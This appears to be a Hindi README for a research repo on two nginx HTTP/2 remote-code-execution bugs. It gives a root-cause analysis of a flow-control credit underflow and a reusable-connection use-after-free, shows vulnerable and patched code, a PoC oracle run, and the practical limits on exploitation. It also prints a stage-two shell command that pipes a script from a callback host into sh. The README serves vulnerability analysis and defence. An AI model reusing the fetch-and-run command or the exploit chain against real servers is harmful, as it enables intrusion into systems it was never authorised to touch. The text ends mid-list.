
nginx HTTP/2 RCE दोषों CVE-2026-123007 और CVE-2026-123633 के लिए मूल-कारण विश्लेषण, पुनरुत्पादन प्रयोगशाला और PoC टूलिंग, जिसमें एक कम-लागत ऑरेकल और शोषण-क्षमता सीमाएँ शामिल हैं।
============================================================
im0xfay x Cyber Alpha Labs
● CVE-2026-123007 / CVE-2026-123633
● NGINX2SHELL (nginx HTTP/2)
flow-control underflow + reusable-connection UAF
============================================================
विश्लेषण, प्रजनन लैब, और nginx HTTP/2 में दो प्री-ऑथ RCE ("nginx2root") के लिए टूल, 18 नवंबर 2026 को जारी किया गया।
यह रेपो हथियार नहीं है। यह इस बात का रिकॉर्ड है कि यह CVE, CVSS 9.2 होने और लैब में वास्तव में RCE तक पहुँचने के बावजूद, ऑपरेशनल हमले के रूप में उपयोग करने योग्य नहीं है।
अगर आपको इंटरनेट पर situs/nginx2shell.php जैसा पेज मिले और आप निष्कर्ष निकालें
"यहाँ किसी ने nginx2shell का सफलतापूर्वक शोषण किया है" — लगभग निश्चित रूप से वह निष्कर्ष गलत है।
इसका स्पष्टीकरण नीचे है।
सब कुछ पढ़ने के बाद, हमारा आकलन यह है:
इस CVE का मूल्य सीखने की सामग्री के रूप में है, टूल के रूप में नहीं। बग सुंदर है (फ़्लो-कंट्रोल अकाउंटिंग में तीन पंक्तियों का integer underflow), लेकिन निष्पादन की लागत (प्रति प्रयास 119 GiB) परिणाम (120 बाइट का कमांड चैनल) से कहीं अधिक है।
ngx_http_v2_filter_module.c)nginx में HTTP/2 फ़्लो-कंट्रोल अकाउंटिंग DATA क्रेडिट को दो बार रिफ़ंड कर सकती है।
/* ngx_http_v2_filter_cleanup() — versi 1.31.8 (rentan) */
for ( ;; ) {
frame = *fn;
if (frame == NULL) break;
if (frame->stream == stream && !frame->blocked) {
*fn = frame->next;
window += frame->length; /* menjumlah SEMUA frame stream ini */
if (--stream->queued == 0) break;
continue;
}
fn = &frame->next;
}
h2c->send_window += window; /* refund tanpa batas cek */
श्रृंखला:
जब DATA फ़्रेम कतार में डाला जाता है, तो क्रेडिट पहले ही काट लिया जाता है (h2c->send_window -= frame_size)।
जब तक वह फ़्रेम कतार में ही है (TCP backpressure), क्लाइंट WINDOW_UPDATE भेजता है।
क्रेडिट बढ़ जाता है। फ़्रेम अभी भी अपना क्रेडिट पकड़े हुए है। फिर अनुरोध पूरा होता है / RST_STREAM →
filter_cleanup उस कतार में पड़े फ़्रेम का क्रेडिट वापस कर देता है।
अब h2c->send_window NGX_HTTP_V2_MAX_WINDOW (0x7FFFFFFF) से अधिक हो जाता है।
WINDOW_UPDATE पथ में गार्ड कुछ इस तरह का है:
if (window > NGX_HTTP_V2_MAX_WINDOW - h2c->send_window) { /* protokol error */ }
क्योंकि send_window पहले से ही MAX से > है, दाईं ओर का पक्ष ऋणात्मक है — और size_t (unsigned 64-bit) में ऋणात्मक का अर्थ है ~2^64 में रैप होना। तुलना पास हो जाती है। गार्ड निष्क्रिय।
असंगत क्रेडिट ngx_http_v2_send_chain में प्रवेश करता है, गणना का परिणाम off_t (signed) में कास्ट होता है → ऋणात्मक। get_shadow() से last < pos उत्पन्न होता है, फिर ngx_ssl_send_chain ~2^64 लंबाई के साथ memcpy/memmove को कॉल करता है → OOB write।
पैच 1.31.9 — तर्क की तीन पंक्तियाँ:
+ h2c->send_queued += frame_size; /* catat kredit yang masih ter-queue */
+ h2c->send_queued -= frame->length; /* kurangi saat frame benar-benar terkirim */
+ h2c->send_queued -= window; /* kurangi saat refund */
- window += frame->length;
+ if (frame->handler == ngx_http_v2_data_frame_handler) {
+ window += frame->length; /* refund hanya untuk DATA frame */
+ }
नया फ़ील्ड send_queued यह सुनिश्चित करता है कि लेखांकन कभी भी वास्तविक क्रेडिट से अधिक न हो, और
रिफ़ंड केवल DATA फ़्रेम तक सीमित है (हेडर/ट्रेलर फ़्रेम का क्रेडिट अर्थ अलग होता है)।
आंशिक HEADERS वाले कनेक्शन को ngx_reusable_connection(c, 1) के रूप में चिह्नित किया जाता है (anti-DoS तंत्र),
लेकिन create_stream उस चिह्न को कभी नहीं हटाता। इसके बाद drain_connections कनेक्शन को
अनुरोध अभी भी सेवा में होने के दौरान बंद कर देता है → मेमोरी का उपयोग जारी रहते हुए उसे मुक्त कर दिया जाता है।
पैच: एक पंक्ति — ngx_reusable_connection(h2c->connection, 0)।
यहाँ पाँच गेट हैं, और लगभग सभी वास्तविक लक्ष्य इनमें से किसी एक पर विफल हो जाते हैं।
http2 on के बिना, यह बग बिल्कुल लागू नहीं होता। लैब में परीक्षण किया गया:
poc.py -u https://127.0.0.1:19443/ --oracle --no-alpn
BLOCKED nginx=1.31.8 no HTTP/2 negotiated (in CVE-2026-123007 range); 123007 needs h2
संस्करण कमजोर सीमा में आता है, लेकिन h2 के बिना यह अभी भी लागू नहीं होता। केवल
Server: nginx/1.31.8 पढ़ने वाला स्कैन कमजोरी का अनुमान नहीं लगा सकता।
इस श्रृंखला को उस पथ पर वास्तविक TCP backpressure के साथ मूल nginx worker तक DATA फ्रेम प्रवाहित करने की आवश्यकता होती है। Cloudflare, Akamai, और इसी तरह के अन्य edge पर HTTP/2 को समाप्त / प्रबंधित करते हैं।
परिणामस्वरूप: backpressure CF edge पर होता है, origin पर नहीं। हमले की स्थिति कभी नहीं बनती। CDN के पीछे के लक्ष्य के लिए, सही निर्णय BLOCKED — origin not exposed है, "संभवतः कमजोर" नहीं।
आधुनिक बड़ी साइटें लगभग सभी CDN के पीछे होती हैं। यह अकेले ही लक्ष्य आबादी को नाटकीय रूप से सिकोड़ देता है।
यह टाइपो नहीं है। पूर्ण RCE के लिए लक्ष्य तक ~119 GiB plaintext भेजना आवश्यक है, और
~4 मिनट में पूरा करने के लिए ≥300 Mbit/s चाहिए (keepalive_timeout 1 घंटा इसकी
सीमा है)।
4 Gbit/s पर, एक प्रयास ≈ 230 सेकंड / 119 GiB। यदि leak चरण में विफलता होती है, तो पूरा 119 GiB व्यर्थ हो जाता है और दोहराना पड़ता है।
तुलना के लिए, oracle (RCE के बिना कमजोरी का प्रमाण) को केवल ~50 सेकंड / ~10 MB चाहिए।
यह सबसे अधिक गलत समझा जाने वाला बिंदु है।
यह निर्धारित करता है कि OOB write RCE बन सकता है या नहीं, वह लक्ष्य nginx worker की C
लाइब्रेरी में copy रूटीन है: क्या यह लंबाई 2^64 - delta को लपेटता है या अस्वीकार
करता है।
| लक्ष्य worker का glibc | परिणाम |
|---|---|
| 2.41 | PRIMITIVE_PRESENT — OOB write होता है → RCE पथ खुला |
| 2.43 | PRIMITIVE_ABSENT — copy अस्वीकृत → केवल crash/DoS |
हमलावर मशीन का glibc पूरी तरह अप्रासंगिक है। इसके परिणामस्वरूप:
PRIMITIVE_ABSENT से "कमजोर नहीं" निष्कर्ष निकाले।VULN है, लेकिन इसका escalation DoS पर रुक जाता है।जिस worker ने पहले से traffic संभाला है उसका heap गंदा होता है; cleanup over-credit श्रृंखला
GOAWAY(FLOW_CONTROL_ERROR) के साथ अस्वीकृत हो जाती है। टूल SAFE के बजाय
ASSUMED — dirty heap; restart target and retry निर्णय देता है। इसका अर्थ है कि लक्ष्य को
नया restart किया जाना चाहिए, और हमले के दौरान उसी पथ पर कोई अन्य traffic नहीं होना चाहिए।
"सफलता" के तीन बहुत अलग स्तर हैं, और लोग अक्सर सबसे सस्ते को सबसे महंगा कह देते हैं:
| स्तर | लागत | प्रमाण | अर्थ |
|---|---|---|---|
| 1. Oracle | ~50 s, ~10 MB | cleanup over-credit confirmed | कमजोरी सिद्ध। RCE नहीं। |
| 2. DoS | ~10 MB | worker SIGSEGV / restart | सर्वर गिराया जा सकता है। RCE नहीं। |
| 3. RCE | 119 GiB, ≥300 Mbit/s | id → uid=33(www-data) | कोड निष्पादन + ऊपर के 5 गेट आवश्यक। |
इससे भी आगे: RCE पर भी, परिणाम webroot में .php फ़ाइल नहीं होता। कमांड चैनल
120 बाइट (heap.command_max_bytes) तक सीमित है, इसलिए दो-चरणीय चैनल का उपयोग होता है —
लक्ष्य दूसरे चरण की स्क्रिप्ट खींचने के लिए curl -s -m 90 http://<callback>/s | sh (41 बाइट)
चलाता है।
व्यावहारिक निष्कर्ष: यदि कोई सार्वजनिक साइट पर "nginx2shell सफल" होने का दावा करता है, तो ये तीन प्रमाण मांगें: